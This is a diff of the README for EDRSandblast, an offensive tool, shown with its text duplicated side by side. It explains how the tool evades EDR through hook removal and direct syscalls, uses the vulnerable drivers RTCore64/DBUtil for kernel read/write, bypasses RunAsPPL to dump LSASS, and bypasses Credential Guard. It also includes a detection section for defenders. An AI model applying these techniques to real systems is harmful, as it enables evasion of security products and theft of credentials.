`NtoskrnlOffsets.csv` file for a number of the Windows Kernel versions. `NtoskrnlOffsets.csv` file for a number of the Windows Kernel versions.
### EDR bypass through userland hooking bypass ### EDR bypass through userland hooking bypass
@@ -185,7 +299,7 @@ To bypass a specific hook, it is possible to simply "jump over" and execute the
the function as is. First, the original bytes of the monitored function, that have been the function as is. First, the original bytes of the monitored function, that have been
overwritten by the EDR to install the hook, must be recovered from the DLL file. In our overwritten by the EDR to install the hook, must be recovered from the DLL file. In our
previous code example, this would be the bytes corresponding to the following previous code example, this would be the bytes corresponding to the following
instructions: instructions:
```assembly ```assembly
mov r10, rcx mov r10, rcx
@@ -260,24 +374,87 @@ the `unhook()` function's code path when `unhook_method` is
In order to use system calls related functions, one program can reimplement syscalls (in In order to use system calls related functions, one program can reimplement syscalls (in
assembly) in order to call the corresponding OS features without actually touching the assembly) in order to call the corresponding OS features without actually touching the
code in `ntdll.dll`, which might be monitored by the EDR. This completely bypasses any code in `ntdll.dll`, which might be monitored by the EDR. This completely bypasses any
userland hooking done on syscall functions in `ntdll.dll`. userland hooking done on syscall functions in `ntdll.dll`.
This nevertheless has some drawbacks. First, this implies being able to know the list of This nevertheless has some drawbacks. First, this implies being able to know the list of
syscall numbers of functions the program needs, which changes for each version of syscall numbers of functions the program needs, which changes for each version of
Windows. Also, functions that are not technically syscalls Windows. This is nevertheless mitigated by implementing multiple heuristics that are known
to work in all the past versions of Windows NT (sorting `ntdll`'s' `Zw*` exports, searching
for `mov rax, #syscall_number` instruction in the associated `ntdll` function, etc.),
and checking they all return the same result (see `Syscalls.c` for more details).
Also, functions that are not technically syscalls
(e.g. `LoadLibraryX`/`LdrLoadDLL`) could be monitored as well, and cannot simply be (e.g. `LoadLibraryX`/`LdrLoadDLL`) could be monitored as well, and cannot simply be
reimplemented using a syscall. reimplemented using a syscall.
This technique is implemented in EDRSandblast. As previously stated, it is only used to The direct syscalls technique is implemented in EDRSandblast. As previously stated, it is only used to
execute `NtProtectVirtualMemory` safely, and remove all detected hooks. However, in order execute `NtProtectVirtualMemory` safely, and remove all detected hooks.
not to rely on hardcoded offsets, a small heuristic is implemented to search for `mov eax,
imm32` instruction at the start of the `NtProtectVirtualMemory` function and recover the
syscall number from it if found (otherwise relying on hardcoded offset for known Windows
versions).
For implementation details, check the `unhook()` function's code path when `unhook_method` is For implementation details, check the `unhook()` function's code path when `unhook_method` is
`UNHOOK_WITH_DIRECT_SYSCALL`. `UNHOOK_WITH_DIRECT_SYSCALL`.
### Vulnerable drivers exploitation
As previously stated, every action that needs a kernel memory read or write relies on a
vulnerable driver to give this primitive. In EDRSanblast, adding the support for a new
driver providing the read/write primitive can be "easily" done, only three functions
need to be implemented:
* A `ReadMemoryPrimitive_DRIVERNAME(SIZE_T Size, DWORD64 Address, PVOID Buffer)` function, that copies `Size` bytes from kernel address `Address` to userland buffer `Buffer`;
* A `WriteMemoryPrimitive_DRIVERNAME(SIZE_T Size, DWORD64 Address, PVOID Buffer)` function, that copies `Size` bytes from userland buffer `Buffer` to kernel address `Address`;
* A `CloseDriverHandle_DRIVERNAME()` that ensures all handles to the driver are closed (needed before uninstall operation which is driver-agnostic, for the moment).
As an example, two drivers are currently supported by EDRSandblast, `RTCore64.sys`
(SHA256: `01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD`)
and `DBUtils_2_3.sys` (SHA256: `0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5`).
The following code in `KernelMemoryPrimitives.h` is to be updated if the used
vulnerable driver needs to be changed, or if a new one implemented.
```C
#define RTCore 0
#define DBUtil 1
// Select the driver to use with the following #define
#define VULN_DRIVER RTCore
#if VULN_DRIVER == RTCore
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
#define CloseDriverHandle CloseDriverHandle_RTCore
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
#elif VULN_DRIVER == DBUtil
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
#define CloseDriverHandle CloseDriverHandle_DBUtil
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
#endif
```
### EDR drivers and processes detection
Multiple techniques are currently used to determine if a specific driver or process belongs
to an EDR product or not.
First, the name of the driver can simply be used for that purpose. Indeed, Microsoft
allocates specific numbers called "Altitudes" for all drivers that need to insert callbacks
in the kernel. This allow a deterministic order in callbacks execution, independent from
the registering order, but only based on the driver usage. A list of (vendors of) drivers
that have reserved specific *altitude* can be found
[on MSDN](https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/allocated-altitudes).
As a consequence, a nearly comprehensive list of security driver names tied to security
products is offered by Microsoft, mainly in the "FSFilter Anti-Virus" and "FSFilter Activity
Monitor" lists. These lists of driver names are embedded in EDRSandblast, as well as
additional contributions.
Moreover, EDR executables and DLL are more than often digitally signed using the
vendors signing certificate. Thus, checking the signer of an executable or DLL associated
to a process may allow to quickly identify EDR products.
Also, drivers need to be directly signed by Microsoft to be allowed to be loaded in
kernel space. While the driver's vendor is not directly the signer of the driver itself,
it would seam that the vendor's name is still included inside an attribute of the signature;
this detection technique is nevertheless yet to be investigated and implemented.
Finally, when facing an EDR unknown to EDRSandblast, the best approach is to run
the tool in "audit" mode, and check the list of drivers having registered kernel callbacks;
then the driver's name can be added to the list, the tool recompiled and re-run.
### RunAsPPL bypass ### RunAsPPL bypass
The `Local Security Authority (LSA) Protection` mechanism, first introduced The `Local Security Authority (LSA) Protection` mechanism, first introduced
@@ -285,7 +462,7 @@ in Windows 8.1 and Windows Server 2012 R2, leverage the `Protected Process
Light (PPL)` technology to restrict access to the `LSASS` process. The `PPL` Light (PPL)` technology to restrict access to the `LSASS` process. The `PPL`
protection regulates and restricts operations, such as memory injection or protection regulates and restricts operations, such as memory injection or
memory dumping of protected processes, even from a process holding the memory dumping of protected processes, even from a process holding the
`SeDebugPrivilege` privilege. Under the process protection model, only `SeDebugPrivilege` privilege. Under the process protection model, only
processes running with higher protection levels can perform operations on processes running with higher protection levels can perform operations on
protected processes. protected processes.
@@ -294,9 +471,9 @@ in kernel memory, includes a `_PS_PROTECTION` field defining the protection leve
of a process through its `Type` (`_PS_PROTECTED_TYPE`) and `Signer` (`_PS_PROTECTED_SIGNER`) of a process through its `Type` (`_PS_PROTECTED_TYPE`) and `Signer` (`_PS_PROTECTED_SIGNER`)
attributes. attributes.
By writing in kernel memory, the EDRSandblast process is able to upgrade its own By writing in kernel memory, the EDRSandblast process is able to upgrade its own
protection level to `PsProtectedSignerWinTcb-Light`. This level is sufficient to protection level to `PsProtectedSignerWinTcb-Light`. This level is sufficient to
dump the `LSASS` process memory, since it "dominates" to `PsProtectedSignerLsa-Light`, dump the `LSASS` process memory, since it "dominates" to `PsProtectedSignerLsa-Light`,
the protection level of the `LSASS` process running with the `RunAsPPL` mechanism. the protection level of the `LSASS` process running with the `RunAsPPL` mechanism.
`EDRSandBlast` implements the self protection as follow: `EDRSandBlast` implements the self protection as follow:
@@ -308,7 +485,7 @@ dump the `LSASS` process memory, since it "dominates" to `PsProtectedSignerLsa-L
Afterburner` driver to overwrite the `_PS_PROTECTION` field of the current Afterburner` driver to overwrite the `_PS_PROTECTION` field of the current
process in kernel memory. The offsets of the `_PS_PROTECTION` field process in kernel memory. The offsets of the `_PS_PROTECTION` field
relative to the `EPROCESS` structure (defined by the `ntoskrnl` version in relative to the `EPROCESS` structure (defined by the `ntoskrnl` version in
use) are hardcoded in the `NtoskrnlOffsets.csv` file. use) are computed in the `NtoskrnlOffsets.csv` file.
### Credential Guard bypass ### Credential Guard bypass
@@ -335,18 +512,51 @@ the system). Refer to the
for more details on this technique. for more details on this technique.
`EDRSandBlast` simply make the original PoC a little more opsec friendly and `EDRSandBlast` simply make the original PoC a little more opsec friendly and
provide support for a number of `wdigest.dll` versions (through hardcoded provide support for a number of `wdigest.dll` versions (through computed
offsets for `g_fParameter_useLogonCredential` and `g_IsCredGuardEnabled`). offsets for `g_fParameter_useLogonCredential` and `g_IsCredGuardEnabled`).
### ntoskrnl and wdigest offsets ### Offsets retrieval
In order to reliably perform kernel monitoring bypass operations, EDRSandblast needs
to know exactly where to read and write kernel memory. This is done using offsets of
global variables inside the targeted image (ntoskrnl.exe, wdigest.dll), as well as offset
of specific fields in structures whose definitions are published by Microsoft in symbol
files. These offsets are specific to each build of the targeted images, and must be gathered
at least once for a specific platform version.
The required `ntoskrnl.exe` and `wdigest.dll` offsets (mentioned above) are The choice of using "hardcoded" offsets instead of pattern searches to locate the structures
extracted using `r2pipe`, as implemented in the `ExtractOffsets.py` `Python` and variables used by EDRSandblast is justified by the fact that the undocumented APIs
script. In order to support more Windows versions, the `ntoskrnl.exe` and responsible for Kernel callbacks addition / removal are subject to change and that any attempt
`wdigest.dll` referenced by [Winbindex](https://winbindex.m417z.com/) can be to read or write Kernel memory at the wrong address may (and often will) result in a
automatically downloaded (and their offsets extracted). This allows to extract `Bug Check` (`Blue Screen of Death`). A machine crash is not acceptable in both
offsets from nearly all files that were ever published in Windows update packages red-teaming and normal penetration testing scenarios, since a machine that crashes
(to date 350+ `ntoskrnl.exe` and 30+ `wdigest.dll` versions). is highly visible by defenders, and will lose any credentials that was still in memory at
the moment of the attack.
To retrieve offsets for each specific version of Windows, two approaches are implemented.
#### Manual offset retrieval
The required `ntoskrnl.exe` and `wdigest.dll` offsets can be extracted using the
provided `ExtractOffsets.py` Python script, that relies on `radare2` and `r2pipe`
to download and parse symbols from PDB files, and extracted the needed offsets from
them. Offsets are then stored in CSV files for later use by EDRSandblast.
In order to support out-of-the-box a wide range of Windows builds, many versions of
the `ntoskrnl.exe` and `wdigest.dll` binaries are referenced by
[Winbindex](https://winbindex.m417z.com/) , and can be automatically downloaded
(and their offsets extracted) by the `ExtractOffsets.py`. This allows to extract offsets
from nearly all files that were ever published in Windows update packages (to date 450+
`ntoskrnl.exe` and 30+ `wdigest.dll` versions are available and pre-computed).
#### Automatic offsets retrieval and update
An additionnal option has been implemented in `EDRSandBlast` to allow the program
to download the needed `.pdb` files itself from Microsoft Symbol Server, extract the
required offsets, and even update the corresponding `.csv` files if present.
Using the `--internet` option make the tool execution much simpler, while introducing
an additionnal OpSec risk, since a `.pdb` file is downloaded and dropped on disk during
the process. This is required by the `dbghelp.dll` functions used to parse the symbols
database ; however, full in-memory PDB parsing might be implemented in the future to
lift this requirement and reduce the tool's footprint.
## Usage ## Usage
@@ -453,17 +663,14 @@ optional arguments:
-h, --help show this help message and exit -h, --help show this help message and exit
-i INPUT, --input INPUT -i INPUT, --input INPUT
Single file or directory containing ntoskrnl.exe / wdigest.dll to extract offsets from. Single file or directory containing ntoskrnl.exe / wdigest.dll to extract offsets from.
If in dowload mode, the PE downloaded from MS symbols servers will be placed in this folder. If in download mode, the PE downloaded from MS symbols servers will be placed in this folder.
-o OUTPUT, --output OUTPUT -o OUTPUT, --output OUTPUT
CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be
downloaded / analyzed. downloaded / analyzed.
Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv in the current folder. Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv in the current folder.
-d, --dowload Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com. -d, --download Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com.
``` ```
### Automatic offsets retrieval and update
An additionnal option has been implemented in `EDRSandBlast` to allow the program to download the needed `.pdb` files itself from Microsoft Symbol Server, extract the required offsets, and even update the corresponding `.csv` files if present.
Using the `--internet` option make the tool execution much simpler, while introducing an additionnal OpSec risk, since a `.pdb` file is downloaded and dropped on disk during the process. This is required by the `dbghelp.dll` functions used to parse the symbols database ; however, full in-memory PDB parsing might be implemented in the future to lift this requierement and reduce the tool's footprint.
## Detection ## Detection
From the defender (EDR vendor, Microsoft, SOC analysts looking at EDR's telemetry, ...) point of view, multiple indicators can be used to detect or prevent this kind of techniques. From the defender (EDR vendor, Microsoft, SOC analysts looking at EDR's telemetry, ...) point of view, multiple indicators can be used to detect or prevent this kind of techniques.
@@ -481,7 +688,7 @@ The same logic could apply to sensitive ETW variables such as the `ProviderEnabl
### User-mode detection ### User-mode detection
The first indicator that a process is actively trying to evade user-land hooking is the file accesses to each DLL corresponding to loaded modules; in a normal execution, a userland process rarely needs to read DLL files outside of a `LoadLibrary` call, especially `ntdll.dll`. The first indicator that a process is actively trying to evade user-land hooking is the file accesses to each DLL corresponding to loaded modules; in a normal execution, a userland process rarely needs to read DLL files outside of a `LoadLibrary` call, especially `ntdll.dll`.
In order to protect API hooking from being bypassed, EDR products could periodically check that hooks are not altered in memory, inside each monitored process. In order to protect API hooking from being bypassed, EDR products could periodically check that hooks are not altered in memory, inside each monitored process.
Finally, to detect hooking bypass (abusing a trampoline, using direct syscalls, etc.) that does not imply the hooks removal, EDR products could potentially rely on kernel callbacks associated to the abused syscalls (ex. `PsCreateProcessNotifyRoutine` for `NtCreateProcess` syscall, `ObRegisterCallbacks` for `NtOpenProcess` syscall, etc.), and perform user-mode call-stack analysis in order to determine if the syscall was triggered from a normal path (`kernel32.dll` -> `ntdll.dll` -> syscall) or an abnormal one (ex. `program.exe` -> direct syscall). Finally, to detect hooking bypass (abusing a trampoline, using direct syscalls, etc.) that does not imply the hooks removal, EDR products could potentially rely on kernel callbacks associated to the abused syscalls (ex. `PsCreateProcessNotifyRoutine` for `NtCreateProcess` syscall, `ObRegisterCallbacks` for `NtOpenProcess` syscall, etc.), and perform user-mode call-stack analysis in order to determine if the syscall was triggered from a normal path (`kernel32.dll` -> `ntdll.dll` -> syscall) or an abnormal one (ex. `program.exe` -> direct syscall).